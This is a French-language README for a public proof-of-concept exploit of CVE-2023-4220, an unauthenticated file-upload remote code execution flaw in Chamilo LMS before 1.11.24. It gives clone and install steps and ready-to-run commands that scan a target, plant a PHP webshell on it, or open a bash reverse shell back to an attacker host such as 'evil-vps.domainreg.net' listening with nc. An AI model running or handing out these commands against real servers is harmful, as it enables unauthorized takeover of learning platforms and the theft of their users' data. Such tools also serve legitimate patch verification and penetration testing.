
Ceci est un script écrit en Python qui permet l'exploitation de la faille de sécurité du logiciel LMS Chamilo décrite dans CVE-2023-4220
Ce script permet d'exploiter la faille de sécurité du logiciel Chamilo LMS décrite dans CVE-2023-4220. Le système est vulnérable dans les versions antérieures à 1.11.24.
Clonez le dépôt sur votre machine et installez les dépendances avec pip (il est recommandé d'utiliser virtualenv pour créer un environnement afin d'isoler ces installations des installations globales)
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt
Le script nécessite l'URL cible avec le chemin racine de Chamilo (comme http://example.com/chamilo, http://example.com ou http://chamilo.example.com) et une action à effectuer (trois sont disponibles : scan, webshell et revshell).
Cette action vérifie si la cible est vulnérable en essayant d'accéder au point de terminaison /main/inc/lib/javascript/bigupload/files/.
python3 main.py -u http://example.com/chamilo -a scan

Cette action crée un fichier webshell PHP dans le point de terminaison vulnérable.
python3 main.py -u http://example.com/chamilo -a webshell

Cette action crée et exécute un fichier bash reverse shell. Pour ce faire, un webshell sera d'abord créé en utilisant la même méthode que l'action précédente. Ensuite, quelques commandes seront exécutées pour créer et exécuter le fichier bash. Assurez-vous d'écouter sur le port que vous avez défini avec nc ou tout autre utilitaire pour obtenir la connexion inverse. De plus, l'hôte peut être une adresse IPv4 interne/publique valide (comme 172.17.1.4 ou 186.227.4.31) ou le domaine que vous avez enregistré (comme evil-vps.domainreg.net)
python3 main.py -u http://example.com/chamilo -a revshell

Note : Bientôt, j'ajouterai une option de charge utile Windows pour les hôtes Windows
(CVE-2023-4220) Chamilo LMS Unauthenticated Big Upload File Remote Code Execution